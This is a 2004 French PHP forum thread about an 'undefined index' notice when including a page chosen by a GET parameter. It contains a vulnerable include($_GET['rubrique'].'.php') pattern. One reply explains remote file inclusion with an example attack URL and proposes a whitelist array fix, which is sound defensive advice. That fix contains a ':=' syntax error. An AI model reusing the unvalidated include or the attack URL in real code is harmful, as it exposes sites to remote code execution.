[PHP] pb de param passé en GET non initialisé

pb de param passé en GET non initialisé [PHP] - PHP - Programmation

Marsh Posté le 05-02-2004 à 17:40:59    

salut,
 
bon, j'ai un ti pb tout con mais j'arrive pas à m'en débarrasser:
 
j'ai un site ou chaque lien d'un item du menu de la page index permet de faire afficher un include, via la methode GET. ex: lien de la rubrique news:

Code :
  1. gnagnagna.com/index.php?rubrique=news


je recupere la rubrique, pour faire du genre

Code :
  1. include($_GET['rubrique'].".php" );


 
Or, l'index.php affiche la rubrique news par défaut, mais pas moyen de me débarrasser de la notice "Notice: Undefined index: rubrique in ...", vu que le parametre a pas de valeur, qd je fait $_GET['rubrique'];
 
Est ce que quelqu'un saurait comment éviter çà, plz? :)


Message édité par gerardo le 05-02-2004 à 17:43:40
Reply

Marsh Posté le 05-02-2004 à 17:40:59   

Reply

Marsh Posté le 05-02-2004 à 18:00:47    

if(isset($_GET['rubrique']))
  $rub = $_GET['rubrique'];
else
  $rub = 'default';


---------------
mes programmes ·· les voitures dans les films ·· apprenez à écrire
Reply

Marsh Posté le 05-02-2004 à 18:35:43    

merci antp :) je v tester çà, c'était tout con en fait :P. En fait je pensais que à partir du moment ou on fait un $_GET['...'] sur un param non défini, on se tape un "notice ...."

Reply

Marsh Posté le 05-02-2004 à 18:54:29    

Chaque fois qu'on lit sa valeur en fait


---------------
mes programmes ·· les voitures dans les films ·· apprenez à écrire
Reply

Marsh Posté le 05-02-2004 à 19:09:55    

Sans vouloir jouer au parano, tu devrais éviter ce genre de manip (le fait d'includer un fichier dont le nom est spécifié par argument) car par exemple si quelqu'un mets un script malveillant (du style pour récupérer tes identifiants) sur un serveur qui n'interprète pas le php, bah PHP va directement copier son code dans le tien et là ...
Exemple : gnagnagna.com/index.php?rubrique=http://toto.org/hello
(en remplaçant les derniers / par %xx) ton script récupèrera le script hello.php sur le serveur toto.org.
(parfois les serveurs ont allow_url_fopen désactivé mais on sait jamais)
Tu devrais faire un tableau clé=>valeur qui fasse le lien entre une valeur fournie en argument et le nom de fichier correspondant ce qui évitera les débordements

Reply

Marsh Posté le 12-02-2004 à 17:43:26    

ok, je vois ce que tu veux dire, effectivement c'est pas top. en meme
temps je passe pas le nom complet en argument, mais ca peut-etre quand
meme un pb. Sans faire un tableau, ptet que si je rajoute des trucs
ensuite pour retomber sur le nom de fichier, ou un md5... enfin je v
voir, je débute, et puis ca sera pas un site critique; mais merci de
me pointer la faille :)

Reply

Marsh Posté le 13-02-2004 à 20:42:45    

gerardo a écrit :

ok, je vois ce que tu veux dire, effectivement c'est pas top. en meme
temps je passe pas le nom complet en argument, mais ca peut-etre quand
meme un pb.


Même si tu ne donnes pas le nom complet, ça revient au même ;)
 

Citation :

Sans faire un tableau, ptet que si je rajoute des trucs
ensuite pour retomber sur le nom de fichier, ou un md5... enfin je v
voir, je débute, et puis ca sera pas un site critique; mais merci de
me pointer la faille :)


 
Le plus simple, je pense, c'est un tableau :
 

Code :
  1. $NameToFile = array (
  2.   'news'  => 'news.php',
  3.   'main'  => 'index.php',
  4.   'forum' => 'forum.php');


 
Ensuite tu fais :

Code :
  1. $rubrique := $_GET['rubrique'];
  2. if (isset ($NameToFile[$rubrique])) {
  3.   include ($NameToFile[$rubrique]);
  4. }


 
(le isset permettant de vérifier que le nom de rubrique fourni existe)
 
En plus, cela a un avantage assez intérressant : si tu modifies le nom d'une page (par exemple pour les news ...) ou son chemin d'accès, tu as juste à modifier ce tableau au lieu de devoir modifier toutes les pages ayant un lien vers elle.
 
 

Reply

Marsh Posté le 15-02-2004 à 20:28:00    

effectivement, c plutot pas mal, notamment pour les modifs ultérieures, je vais faire çà. Encore merci pour la leçon ;)

Reply

Sujets relatifs:

Leave a Replay

Make sure you enter the(*)required information where indicate.HTML code is not allowed